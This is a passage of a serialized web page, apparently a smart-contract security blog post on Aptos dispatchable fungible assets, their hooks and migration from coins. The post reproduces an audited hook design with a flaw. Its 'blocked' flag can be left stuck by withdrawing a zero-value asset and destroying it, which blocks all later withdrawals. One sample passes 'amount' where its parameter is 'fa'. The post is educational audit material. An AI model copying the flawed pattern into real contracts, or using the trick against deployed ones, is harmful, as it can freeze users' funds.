initialized.",{"type":23,"tag":70,"props":64740,"children":64742},{"id":64741},"dispatchable-fungible-assets",[64743],{"type":28,"value":64744},"Dispatchable fungible assets",{"type":23,"tag":24,"props":64746,"children":64747},{},[64748],{"type":28,"value":64749},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":23,"tag":24,"props":64751,"children":64752},{},[64753],{"type":28,"value":64754},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":23,"tag":64756,"props":64757,"children":64758},"warning",{},[64759],{"type":23,"tag":24,"props":64760,"children":64761},{},[64762,64764,64770],{"type":28,"value":64763},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":23,"tag":56,"props":64765,"children":64767},{"className":64766},[],[64768],{"type":28,"value":64769},"transfer_assert_minimum_deposit",{"type":28,"value":64771}," that can help mitigate such risks.",{"type":23,"tag":24,"props":64773,"children":64774},{},[64775,64777,64782,64784,64791],{"type":28,"value":64776},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":23,"tag":56,"props":64778,"children":64780},{"className":64779},[],[64781],{"type":28,"value":60654},{"type":28,"value":64783}," to ensure ",{"type":23,"tag":92,"props":64785,"children":64788},{"href":64786,"rel":64787},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[96],[64789],{"type":28,"value":64790},"their signature remains immutable",{"type":28,"value":64792},". An example implementation might look like this:",{"type":23,"tag":494,"props":64794,"children":64796},{"className":1957,"code":64795,"language":1956,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[64797],{"type":23,"tag":56,"props":64798,"children":64799},{"__ignoreMap":7},[64800,64836,64863,64882,64906,64925,64933,64979,64986,64993,65029,65056,65076,65099,65106,65113,65157],{"type":23,"tag":504,"props":64801,"children":64802},{"class":506,"line":507},[64803,64807,64811,64816,64820,64824,64828,64832],{"type":23,"tag":504,"props":64804,"children":64805},{"style":529},[64806],{"type":28,"value":60654},{"type":23,"tag":504,"props":64808,"children":64809},{"style":529},[64810],{"type":28,"value":1051},{"type":23,"tag":504,"props":64812,"children":64813},{"style":529},[64814],{"type":28,"value":64815}," withdraw_hook",{"type":23,"tag":504,"props":64817,"children":64818},{"style":523},[64819],{"type":28,"value":4789},{"type":23,"tag":504,"props":64821,"children":64822},{"style":1012},[64823],{"type":28,"value":4971},{"type":23,"tag":504,"props":64825,"children":64826},{"style":598},[64827],{"type":28,"value":3472},{"type":23,"tag":504,"props":64829,"children":64830},{"style":529},[64831],{"type":28,"value":4915},{"type":23,"tag":504,"props":64833,"children":64834},{"style":523},[64835],{"type":28,"value":5572},{"type":23,"tag":504,"props":64837,"children":64838},{"class":506,"line":540},[64839,64843,64847,64851,64855,64859],{"type":23,"tag":504,"props":64840,"children":64841},{"style":529},[64842],{"type":28,"value":28395},{"type":23,"tag":504,"props":64844,"children":64845},{"style":598},[64846],{"type":28,"value":3472},{"type":23,"tag":504,"props":64848,"children":64849},{"style":1012},[64850],{"type":28,"value":60540},{"type":23,"tag":504,"props":64852,"children":64853},{"style":523},[64854],{"type":28,"value":4789},{"type":23,"tag":504,"props":64856,"children":64857},{"style":1012},[64858],{"type":28,"value":4971},{"type":23,"tag":504,"props":64860,"children":64861},{"style":523},[64862],{"type":28,"value":5122},{"type":23,"tag":504,"props":64864,"children":64865},{"class":506,"line":555},[64866,64870,64874,64878],{"type":23,"tag":504,"props":64867,"children":64868},{"style":529},[64869],{"type":28,"value":60561},{"type":23,"tag":504,"props":64871,"children":64872},{"style":598},[64873],{"type":28,"value":3472},{"type":23,"tag":504,"props":64875,"children":64876},{"style":1012},[64877],{"type":28,"value":4843},{"type":23,"tag":504,"props":64879,"children":64880},{"style":523},[64881],{"type":28,"value":2484},{"type":23,"tag":504,"props":64883,"children":64884},{"class":506,"line":633},[64885,64890,64894,64898,64902],{"type":23,"tag":504,"props":64886,"children":64887},{"style":529},[64888],{"type":28,"value":64889},"    transfer_ref",{"type":23,"tag":504,"props":64891,"children":64892},{"style":598},[64893],{"type":28,"value":3472},{"type":23,"tag":504,"props":64895,"children":64896},{"style":598},[64897],{"type":28,"value":6125},{"type":23,"tag":504,"props":64899,"children":64900},{"style":1012},[64901],{"type":28,"value":64404},{"type":23,"tag":504,"props":64903,"children":64904},{"style":523},[64905],{"type":28,"value":2484},{"type":23,"tag":504,"props":64907,"children":64908},{"class":506,"line":687},[64909,64913,64917,64921],{"type":23,"tag":504,"props":64910,"children":64911},{"style":523},[64912],{"type":28,"value":2105},{"type":23,"tag":504,"props":64914,"children":64915},{"style":598},[64916],{"type":28,"value":3472},{"type":23,"tag":504,"props":64918,"children":64919},{"style":1012},[64920],{"type":28,"value":60519},{"type":23,"tag":504,"props":64922,"children":64923},{"style":523},[64924],{"type":28,"value":552},{"type":23,"tag":504,"props":64926,"children":64927},{"class":506,"line":736},[64928],{"type":23,"tag":504,"props":64929,"children":64930},{"style":1106},[64931],{"type":28,"value":64932},"    //check paused, gather fees etc.\n",{"type":23,"tag":504,"props":64934,"children":64935},{"class":506,"line":785},[64936,64941,64945,64950,64954,64959,64963,64967,64971,64975],{"type":23,"tag":504,"props":64937,"children":64938},{"style":523},[64939],{"type":28,"value":64940},"    fungible_asset",{"type":23,"tag":504,"props":64942,"children":64943},{"style":598},[64944],{"type":28,"value":2457},{"type":23,"tag":504,"props":64946,"children":64947},{"style":517},[64948],{"type":28,"value":64949},"withdraw_with_ref",{"type":23,"tag":504,"props":64951,"children":64952},{"style":523},[64953],{"type":28,"value":526},{"type":23,"tag":504,"props":64955,"children":64956},{"style":529},[64957],{"type":28,"value":64958},"transfer_ref",{"type":23,"tag":504,"props":64960,"children":64961},{"style":523},[64962],{"type":28,"value":576},{"type":23,"tag":504,"props":64964,"children":64965},{"style":529},[64966],{"type":28,"value":4924},{"type":23,"tag":504,"props":64968,"children":64969},{"style":523},[64970],{"type":28,"value":576},{"type":23,"tag":504,"props":64972,"children":64973},{"style":529},[64974],{"type":28,"value":19288},{"type":23,"tag":504,"props":64976,"children":64977},{"style":523},[64978],{"type":28,"value":1192},{"type":23,"tag":504,"props":64980,"children":64981},{"class":506,"line":813},[64982],{"type":23,"tag":504,"props":64983,"children":64984},{"style":523},[64985],{"type":28,"value":884},{"type":23,"tag":504,"props":64987,"children":64988},{"class":506,"line":851},[64989],{"type":23,"tag":504,"props":64990,"children":64991},{"emptyLinePlaceholder":16},[64992],{"type":28,"value":1038},{"type":23,"tag":504,"props":64994,"children":64995},{"class":506,"line":869},[64996,65000,65004,65009,65013,65017,65021,65025],{"type":23,"tag":504,"props":64997,"children":64998},{"style":529},[64999],{"type":28,"value":60654},{"type":23,"tag":504,"props":65001,"children":65002},{"style":529},[65003],{"type":28,"value":1051},{"type":23,"tag":504,"props":65005,"children":65006},{"style":529},[65007],{"type":28,"value":65008}," deposit_hook",{"type":23,"tag":504,"props":65010,"children":65011},{"style":523},[65012],{"type":28,"value":4789},{"type":23,"tag":504,"props":65014,"children":65015},{"style":1012},[65016],{"type":28,"value":4971},{"type":23,"tag":504,"props":65018,"children":65019},{"style":598},[65020],{"type":28,"value":3472},{"type":23,"tag":504,"props":65022,"children":65023},{"style":529},[65024],{"type":28,"value":4915},{"type":23,"tag":504,"props":65026,"children":65027},{"style":523},[65028],{"type":28,"value":5572},{"type":23,"tag":504,"props":65030,"children":65031},{"class":506,"line":878},[65032,65036,65040,65044,65048,65052],{"type":23,"tag":504,"props":65033,"children":65034},{"style":529},[65035],{"type":28,"value":28395},{"type":23,"tag":504,"props":65037,"children":65038},{"style":598},[65039],{"type":28,"value":3472},{"type":23,"tag":504,"props":65041,"children":65042},{"style":1012},[65043],{"type":28,"value":60540},{"type":23,"tag":504,"props":65045,"children":65046},{"style":523},[65047],{"type":28,"value":4789},{"type":23,"tag":504,"props":65049,"children":65050},{"style":1012},[65051],{"type":28,"value":4971},{"type":23,"tag":504,"props":65053,"children":65054},{"style":523},[65055],{"type":28,"value":5122},{"type":23,"tag":504,"props":65057,"children":65058},{"class":506,"line":1221},[65059,65064,65068,65072],{"type":23,"tag":504,"props":65060,"children":65061},{"style":529},[65062],{"type":28,"value":65063},"    fa",{"type":23,"tag":504,"props":65065,"children":65066},{"style":598},[65067],{"type":28,"value":3472},{"type":23,"tag":504,"props":65069,"children":65070},{"style":1012},[65071],{"type":28,"value":60519},{"type":23,"tag":504,"props":65073,"children":65074},{"style":523},[65075],{"type":28,"value":2484},{"type":23,"tag":504,"props":65077,"children":65078},{"class":506,"line":1276},[65079,65083,65087,65091,65095],{"type":23,"tag":504,"props":65080,"children":65081},{"style":529},[65082],{"type":28,"value":64889},{"type":23,"tag":504,"props":65084,"children":65085},{"style":598},[65086],{"type":28,"value":3472},{"type":23,"tag":504,"props":65088,"children":65089},{"style":598},[65090],{"type":28,"value":6125},{"type":23,"tag":504,"props":65092,"children":65093},{"style":1012},[65094],{"type":28,"value":64404},{"type":23,"tag":504,"props":65096,"children":65097},{"style":523},[65098],{"type":28,"value":2484},{"type":23,"tag":504,"props":65100,"children":65101},{"class":506,"line":1285},[65102],{"type":23,"tag":504,"props":65103,"children":65104},{"style":523},[65105],{"type":28,"value":537},{"type":23,"tag":504,"props":65107,"children":65108},{"class":506,"line":1294},[65109],{"type":23,"tag":504,"props":65110,"children":65111},{"style":1106},[65112],{"type":28,"value":64932},{"type":23,"tag":504,"props":65114,"children":65115},{"class":506,"line":1302},[65116,65120,65124,65129,65133,65137,65141,65145,65149,65153],{"type":23,"tag":504,"props":65117,"children":65118},{"style":523},[65119],{"type":28,"value":64940},{"type":23,"tag":504,"props":65121,"children":65122},{"style":598},[65123],{"type":28,"value":2457},{"type":23,"tag":504,"props":65125,"children":65126},{"style":517},[65127],{"type":28,"value":65128},"deposit_with_ref",{"type":23,"tag":504,"props":65130,"children":65131},{"style":523},[65132],{"type":28,"value":526},{"type":23,"tag":504,"props":65134,"children":65135},{"style":529},[65136],{"type":28,"value":64958},{"type":23,"tag":504,"props":65138,"children":65139},{"style":523},[65140],{"type":28,"value":576},{"type":23,"tag":504,"props":65142,"children":65143},{"style":529},[65144],{"type":28,"value":4924},{"type":23,"tag":504,"props":65146,"children":65147},{"style":523},[65148],{"type":28,"value":576},{"type":23,"tag":504,"props":65150,"children":65151},{"style":529},[65152],{"type":28,"value":60712},{"type":23,"tag":504,"props":65154,"children":65155},{"style":523},[65156],{"type":28,"value":630},{"type":23,"tag":504,"props":65158,"children":65159},{"class":506,"line":1311},[65160],{"type":23,"tag":504,"props":65161,"children":65162},{"style":523},[65163],{"type":28,"value":884},{"type":23,"tag":65165,"props":65166,"children":65167},"question",{},[65168,65195],{"type":23,"tag":24,"props":65169,"children":65170},{},[65171,65173,65179,65181,65187,65188,65194],{"type":28,"value":65172},"Why hook functions rely on ",{"type":23,"tag":56,"props":65174,"children":65176},{"className":65175},[],[65177],{"type":28,"value":65178},"*_with_ref",{"type":28,"value":65180}," calls? What would happen if the hook function called ",{"type":23,"tag":56,"props":65182,"children":65184},{"className":65183},[],[65185],{"type":28,"value":65186},"dispatchable_fungible_asset::withdraw",{"type":28,"value":15772},{"type":23,"tag":56,"props":65189,"children":65191},{"className":65190},[],[65192],{"type":28,"value":65193},"fungible_asset::withdraw_with_ref",{"type":28,"value":2133},{"type":23,"tag":65196,"props":65197,"children":65198},"template",{"v-slot:answer-0":7},[65199,65211],{"type":23,"tag":24,"props":65200,"children":65201},{},[65202,65204,65209],{"type":28,"value":65203},"A1: Hook functions rely on ",{"type":23,"tag":56,"props":65205,"children":65207},{"className":65206},[],[65208],{"type":28,"value":65178},{"type":28,"value":65210}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":23,"tag":24,"props":65212,"children":65213},{},[65214,65216,65221],{"type":28,"value":65215},"A2: A ",{"type":23,"tag":56,"props":65217,"children":65219},{"className":65218},[],[65220],{"type":28,"value":65186},{"type":28,"value":65222}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":23,"tag":24,"props":65224,"children":65225},{},[65226],{"type":28,"value":65227},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":23,"tag":494,"props":65229,"children":65231},{"className":1957,"code":65230,"language":1956,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[65232],{"type":23,"tag":56,"props":65233,"children":65234},{"__ignoreMap":7},[65235,65330,65350,65365,65385,65428,65443,65450,65457,65576,65595,65610,65629,65672],{"type":23,"tag":504,"props":65236,"children":65237},{"class":506,"line":507},[65238,65242,65246,65250,65254,65258,65262,65266,65270,65274,65278,65282,65286,65290,65294,65298,65302,65306,65310,65314,65318,65322,65326],{"type":23,"tag":504,"props":65239,"children":65240},{"style":529},[65241],{"type":28,"value":60654},{"type":23,"tag":504,"props":65243,"children":65244},{"style":529},[65245],{"type":28,"value":1051},{"type":23,"tag":504,"props":65247,"children":65248},{"style":529},[65249],{"type":28,"value":60663},{"type":23,"tag":504,"props":65251,"children":65252},{"style":523},[65253],{"type":28,"value":4789},{"type":23,"tag":504,"props":65255,"children":65256},{"style":1012},[65257],{"type":28,"value":4971},{"type":23,"tag":504,"props":65259,"children":65260},{"style":598},[65261],{"type":28,"value":3472},{"type":23,"tag":504,"props":65263,"children":65264},{"style":529},[65265],{"type":28,"value":4915},{"type":23,"tag":504,"props":65267,"children":65268},{"style":523},[65269],{"type":28,"value":6594},{"type":23,"tag":504,"props":65271,"children":65272},{"style":529},[65273],{"type":28,"value":4924},{"type":23,"tag":504,"props":65275,"children":65276},{"style":598},[65277],{"type":28,"value":3472},{"type":23,"tag":504,"props":65279,"children":65280},{"style":1012},[65281],{"type":28,"value":60540},{"type":23,"tag":504,"props":65283,"children":65284},{"style":523},[65285],{"type":28,"value":4789},{"type":23,"tag":504,"props":65287,"children":65288},{"style":1012},[65289],{"type":28,"value":4971},{"type":23,"tag":504,"props":65291,"children":65292},{"style":523},[65293],{"type":28,"value":5614},{"type":23,"tag":504,"props":65295,"children":65296},{"style":529},[65297],{"type":28,"value":60712},{"type":23,"tag":504,"props":65299,"children":65300},{"style":598},[65301],{"type":28,"value":3472},{"type":23,"tag":504,"props":65303,"children":65304},{"style":1012},[65305],{"type":28,"value":60519},{"type":23,"tag":504,"props":65307,"children":65308},{"style":523},[65309],{"type":28,"value":576},{"type":23,"tag":504,"props":65311,"children":65312},{"style":529},[65313],{"type":28,"value":64958},{"type":23,"tag":504,"props":65315,"children":65316},{"style":598},[65317],{"type":28,"value":3472},{"type":23,"tag":504,"props":65319,"children":65320},{"style":598},[65321],{"type":28,"value":6125},{"type":23,"tag":504,"props":65323,"children":65324},{"style":1012},[65325],{"type":28,"value":64404},{"type":23,"tag":504,"props":65327,"children":65328},{"style":523},[65329],{"type":28,"value":537},{"type":23,"tag":504,"props":65331,"children":65332},{"class":506,"line":540},[65333,65338,65342,65346],{"type":23,"tag":504,"props":65334,"children":65335},{"style":517},[65336],{"type":28,"value":65337},"    assert_withdraw_flag",{"type":23,"tag":504,"props":65339,"children":65340},{"style":523},[65341],{"type":28,"value":526},{"type":23,"tag":504,"props":65343,"children":65344},{"style":511},[65345],{"type":28,"value":2972},{"type":23,"tag":504,"props":65347,"children":65348},{"style":523},[65349],{"type":28,"value":630},{"type":23,"tag":504,"props":65351,"children":65352},{"class":506,"line":555},[65353,65357,65361],{"type":23,"tag":504,"props":65354,"children":65355},{"style":523},[65356],{"type":28,"value":61697},{"type":23,"tag":504,"props":65358,"children":65359},{"style":598},[65360],{"type":28,"value":8572},{"type":23,"tag":504,"props":65362,"children":65363},{"style":523},[65364],{"type":28,"value":10754},{"type":23,"tag":504,"props":65366,"children":65367},{"class":506,"line":633},[65368,65373,65377,65381],{"type":23,"tag":504,"props":65369,"children":65370},{"style":517},[65371],{"type":28,"value":65372},"    set_withdraw_flag",{"type":23,"tag":504,"props":65374,"children":65375},{"style":523},[65376],{"type":28,"value":526},{"type":23,"tag":504,"props":65378,"children":65379},{"style":511},[65380],{"type":28,"value":7158},{"type":23,"tag":504,"props":65382,"children":65383},{"style":523},[65384],{"type":28,"value":630},{"type":23,"tag":504,"props":65386,"children":65387},{"class":506,"line":687},[65388,65392,65396,65400,65404,65408,65412,65416,65420,65424],{"type":23,"tag":504,"props":65389,"children":65390},{"style":523},[65391],{"type":28,"value":64940},{"type":23,"tag":504,"props":65393,"children":65394},{"style":598},[65395],{"type":28,"value":2457},{"type":23,"tag":504,"props":65397,"children":65398},{"style":517},[65399],{"type":28,"value":65128},{"type":23,"tag":504,"props":65401,"children":65402},{"style":523},[65403],{"type":28,"value":526},{"type":23,"tag":504,"props":65405,"children":65406},{"style":529},[65407],{"type":28,"value":64958},{"type":23,"tag":504,"props":65409,"children":65410},{"style":523},[65411],{"type":28,"value":576},{"type":23,"tag":504,"props":65413,"children":65414},{"style":529},[65415],{"type":28,"value":4924},{"type":23,"tag":504,"props":65417,"children":65418},{"style":523},[65419],{"type":28,"value":576},{"type":23,"tag":504,"props":65421,"children":65422},{"style":529},[65423],{"type":28,"value":19288},{"type":23,"tag":504,"props":65425,"children":65426},{"style":523},[65427],{"type":28,"value":630},{"type":23,"tag":504,"props":65429,"children":65430},{"class":506,"line":736},[65431,65435,65439],{"type":23,"tag":504,"props":65432,"children":65433},{"style":523},[65434],{"type":28,"value":61697},{"type":23,"tag":504,"props":65436,"children":65437},{"style":598},[65438],{"type":28,"value":8572},{"type":23,"tag":504,"props":65440,"children":65441},{"style":523},[65442],{"type":28,"value":10754},{"type":23,"tag":504,"props":65444,"children":65445},{"class":506,"line":785},[65446],{"type":23,"tag":504,"props":65447,"children":65448},{"style":523},[65449],{"type":28,"value":875},{"type":23,"tag":504,"props":65451,"children":65452},{"class":506,"line":813},[65453],{"type":23,"tag":504,"props":65454,"children":65455},{"emptyLinePlaceholder":16},[65456],{"type":28,"value":1038},{"type":23,"tag":504,"props":65458,"children":65459},{"class":506,"line":851},[65460,65464,65468,65472,65476,65480,65484,65488,65492,65496,65500,65504,65508,65512,65516,65520,65524,65528,65532,65536,65540,65544,65548,65552,65556,65560,65564,65568,65572],{"type":23,"tag":504,"props":65461,"children":65462},{"style":529},[65463],{"type":28,"value":60654},{"type":23,"tag":504,"props":65465,"children":65466},{"style":529},[65467],{"type":28,"value":1051},{"type":23,"tag":504,"props":65469,"children":65470},{"style":529},[65471],{"type":28,"value":19253},{"type":23,"tag":504,"props":65473,"children":65474},{"style":523},[65475],{"type":28,"value":4789},{"type":23,"tag":504,"props":65477,"children":65478},{"style":1012},[65479],{"type":28,"value":4971},{"type":23,"tag":504,"props":65481,"children":65482},{"style":598},[65483],{"type":28,"value":3472},{"type":23,"tag":504,"props":65485,"children":65486},{"style":529},[65487],{"type":28,"value":4915},{"type":23,"tag":504,"props":65489,"children":65490},{"style":523},[65491],{"type":28,"value":6594},{"type":23,"tag":504,"props":65493,"children":65494},{"style":529},[65495],{"type":28,"value":4924},{"type":23,"tag":504,"props":65497,"children":65498},{"style":598},[65499],{"type":28,"value":3472},{"type":23,"tag":504,"props":65501,"children":65502},{"style":1012},[65503],{"type":28,"value":60540},{"type":23,"tag":504,"props":65505,"children":65506},{"style":523},[65507],{"type":28,"value":4789},{"type":23,"tag":504,"props":65509,"children":65510},{"style":1012},[65511],{"type":28,"value":4971},{"type":23,"tag":504,"props":65513,"children":65514},{"style":523},[65515],{"type":28,"value":5614},{"type":23,"tag":504,"props":65517,"children":65518},{"style":529},[65519],{"type":28,"value":19288},{"type":23,"tag":504,"props":65521,"children":65522},{"style":598},[65523],{"type":28,"value":3472},{"type":23,"tag":504,"props":65525,"children":65526},{"style":1012},[65527],{"type":28,"value":4843},{"type":23,"tag":504,"props":65529,"children":65530},{"style":523},[65531],{"type":28,"value":576},{"type":23,"tag":504,"props":65533,"children":65534},{"style":529},[65535],{"type":28,"value":64958},{"type":23,"tag":504,"props":65537,"children":65538},{"style":598},[65539],{"type":28,"value":3472},{"type":23,"tag":504,"props":65541,"children":65542},{"style":598},[65543],{"type":28,"value":6125},{"type":23,"tag":504,"props":65545,"children":65546},{"style":1012},[65547],{"type":28,"value":64404},{"type":23,"tag":504,"props":65549,"children":65550},{"style":523},[65551],{"type":28,"value":2105},{"type":23,"tag":504,"props":65553,"children":65554},{"style":598},[65555],{"type":28,"value":3472},{"type":23,"tag":504,"props":65557,"children":65558},{"style":1012},[65559],{"type":28,"value":60519},{"type":23,"tag":504,"props":65561,"children":65562},{"style":529},[65563],{"type":28,"value":6550},{"type":23,"tag":504,"props":65565,"children":65566},{"style":523},[65567],{"type":28,"value":566},{"type":23,"tag":504,"props":65569,"children":65570},{"style":598},[65571],{"type":28,"value":8572},{"type":23,"tag":504,"props":65573,"children":65574},{"style":523},[65575],{"type":28,"value":60745},{"type":23,"tag":504,"props":65577,"children":65578},{"class":506,"line":869},[65579,65583,65587,65591],{"type":23,"tag":504,"props":65580,"children":65581},{"style":517},[65582],{"type":28,"value":65337},{"type":23,"tag":504,"props":65584,"children":65585},{"style":523},[65586],{"type":28,"value":526},{"type":23,"tag":504,"props":65588,"children":65589},{"style":511},[65590],{"type":28,"value":7158},{"type":23,"tag":504,"props":65592,"children":65593},{"style":523},[65594],{"type":28,"value":630},{"type":23,"tag":504,"props":65596,"children":65597},{"class":506,"line":878},[65598,65602,65606],{"type":23,"tag":504,"props":65599,"children":65600},{"style":523},[65601],{"type":28,"value":61697},{"type":23,"tag":504,"props":65603,"children":65604},{"style":598},[65605],{"type":28,"value":8572},{"type":23,"tag":504,"props":65607,"children":65608},{"style":523},[65609],{"type":28,"value":10754},{"type":23,"tag":504,"props":65611,"children":65612},{"class":506,"line":1221},[65613,65617,65621,65625],{"type":23,"tag":504,"props":65614,"children":65615},{"style":517},[65616],{"type":28,"value":65372},{"type":23,"tag":504,"props":65618,"children":65619},{"style":523},[65620],{"type":28,"value":526},{"type":23,"tag":504,"props":65622,"children":65623},{"style":511},[65624],{"type":28,"value":2972},{"type":23,"tag":504,"props":65626,"children":65627},{"style":523},[65628],{"type":28,"value":630},{"type":23,"tag":504,"props":65630,"children":65631},{"class":506,"line":1276},[65632,65636,65640,65644,65648,65652,65656,65660,65664,65668],{"type":23,"tag":504,"props":65633,"children":65634},{"style":523},[65635],{"type":28,"value":64940},{"type":23,"tag":504,"props":65637,"children":65638},{"style":598},[65639],{"type":28,"value":2457},{"type":23,"tag":504,"props":65641,"children":65642},{"style":517},[65643],{"type":28,"value":64949},{"type":23,"tag":504,"props":65645,"children":65646},{"style":523},[65647],{"type":28,"value":526},{"type":23,"tag":504,"props":65649,"children":65650},{"style":529},[65651],{"type":28,"value":64958},{"type":23,"tag":504,"props":65653,"children":65654},{"style":523},[65655],{"type":28,"value":576},{"type":23,"tag":504,"props":65657,"children":65658},{"style":529},[65659],{"type":28,"value":4924},{"type":23,"tag":504,"props":65661,"children":65662},{"style":523},[65663],{"type":28,"value":576},{"type":23,"tag":504,"props":65665,"children":65666},{"style":529},[65667],{"type":28,"value":19288},{"type":23,"tag":504,"props":65669,"children":65670},{"style":523},[65671],{"type":28,"value":1192},{"type":23,"tag":504,"props":65673,"children":65674},{"class":506,"line":1285},[65675],{"type":23,"tag":504,"props":65676,"children":65677},{"style":523},[65678],{"type":28,"value":884},{"type":23,"tag":24,"props":65680,"children":65681},{},[65682],{"type":28,"value":65683},"At first glance, this code appears valid, but not to an astute reader.",{"type":23,"tag":65165,"props":65685,"children":65686},{},[65687,65692],{"type":23,"tag":24,"props":65688,"children":65689},{},[65690],{"type":28,"value":65691},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":23,"tag":65196,"props":65693,"children":65694},{"v-slot:answer-0":7},[65695,65715],{"type":23,"tag":24,"props":65696,"children":65697},{},[65698,65700,65705,65707,65713],{"type":28,"value":65699},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":23,"tag":56,"props":65701,"children":65703},{"className":65702},[],[65704],{"type":28,"value":60490},{"type":28,"value":65706}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":23,"tag":56,"props":65708,"children":65710},{"className":65709},[],[65711],{"type":28,"value":65712},"fungible_asset::destroy_zero",{"type":28,"value":65714},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":23,"tag":24,"props":65716,"children":65717},{},[65718],{"type":28,"value":65719},"It's important to understand all the features in the standard.",{"type":23,"tag":70,"props":65721,"children":65723},{"id":65722},"migrating-from-coins-to-fungible-assets",[65724],{"type":28,"value":65725},"Migrating from coins to fungible assets",{"type":23,"tag":24,"props":65727,"children":65728},{},[65729,65731,65736],{"type":28,"value":65730},"If a fungible asset is considered an upgrade to ",{"type":23,"tag":56,"props":65732,"children":65734},{"className":65733},[],[65735],{"type":28,"value":59945},{"type":28,"value":65737},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":23,"tag":65739,"props":65740,"children":65741},"note",{},[65742],{"type":23,"tag":24,"props":65743,"children":65744},{},[65745,65747,65752,65754,65759],{"type":28,"value":65746},"While the ",{"type":23,"tag":56,"props":65748,"children":65750},{"className":65749},[],[65751],{"type":28,"value":59945},{"type":28,"value":65753}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":23,"tag":56,"props":65755,"children":65757},{"className":65756},[],[65758],{"type":28,"value":59945},{"type":28,"value":320},{"type":23,"tag":24,"props":65761,"children":65762},{},[65763,65764,65770,65772,65777,65779,65784],{"type":28,"value":15592},{"type":23,"tag":56,"props":65765,"children":65767},{"className":65766},[],[65768],{"type":28,"value":65769},"coin_to_fungible_asset",{"type":28,"value":65771}," converting function automatically generates a corresponding fungible asset for a ",{"type":23,"tag":56,"props":65773,"children":65775},{"className":65774},[],[65776],{"type":28,"value":59945},{"type":28,"value":65778}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":23,"tag":56,"props":65780,"children":65782},{"className":65781},[],[65783],{"type":28,"value":59945},{"type":28,"value":65785}," is not allowed.",{"type":23,"tag":494,"props":65787,"children":65789},{"className":1957,"code":65788,"language":1956,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[65790],{"type":23,"tag":56,"props":65791,"children":65792},{"__ignoreMap":7},[65793,65821,65848,65884,65917,65950,65986],{"type":23,"tag":504,"props":65794,"children":65795},{"class":506,"line":507},[65796,65800,65804,65809,65813,65817],{"type":23,"tag":504,"props":65797,"children":65798},{"style":529},[65799],{"type":28,"value":60654},{"type":23,"tag":504,"props":65801,"children":65802},{"style":529},[65803],{"type":28,"value":1051},{"type":23,"tag":504,"props":65805,"children":65806},{"style":529},[65807],{"type":28,"value":65808}," coin_to_fungible_asset",{"type":23,"tag":504,"props":65810,"children":65811},{"style":523},[65812],{"type":28,"value":4789},{"type":23,"tag":504,"props":65814,"children":65815},{"style":1012},[65816],{"type":28,"value":5567},{"type":23,"tag":504,"props":65818,"children":65819},{"style":523},[65820],{"type":28,"value":5572},{"type":23,"tag":504,"props":65822,"children":65823},{"class":506,"line":540},[65824,65828,65832,65836,65840,65844],{"type":23,"tag":504,"props":65825,"children":65826},{"style":529},[65827],{"type":28,"value":60164},{"type":23,"tag":504,"props":65829,"children":65830},{"style":598},[65831],{"type":28,"value":3472},{"type":23,"tag":504,"props":65833,"children":65834},{"style":1012},[65835],{"type":28,"value":4784},{"type":23,"tag":504,"props":65837,"children":65838},{"style":523},[65839],{"type":28,"value":4789},{"type":23,"tag":504,"props":65841,"children":65842},{"style":1012},[65843],{"type":28,"value":5567},{"type":23,"tag":504,"props":65845,"children":65846},{"style":523},[65847],{"type":28,"value":4976},{"type":23,"tag":504,"props":65849,"children":65850},{"class":506,"line":555},[65851,65855,65859,65863,65867,65872,65876,65880],{"type":23,"tag":504,"props":65852,"children":65853},{"style":523},[65854],{"type":28,"value":2105},{"type":23,"tag":504,"props":65856,"children":65857},{"style":598},[65858],{"type":28,"value":3472},{"type":23,"tag":504,"props":65860,"children":65861},{"style":1012},[65862],{"type":28,"value":60519},{"type":23,"tag":504,"props":65864,"children":65865},{"style":529},[65866],{"type":28,"value":6550},{"type":23,"tag":504,"props":65868,"children":65869},{"style":1012},[65870],{"type":28,"value":65871}," 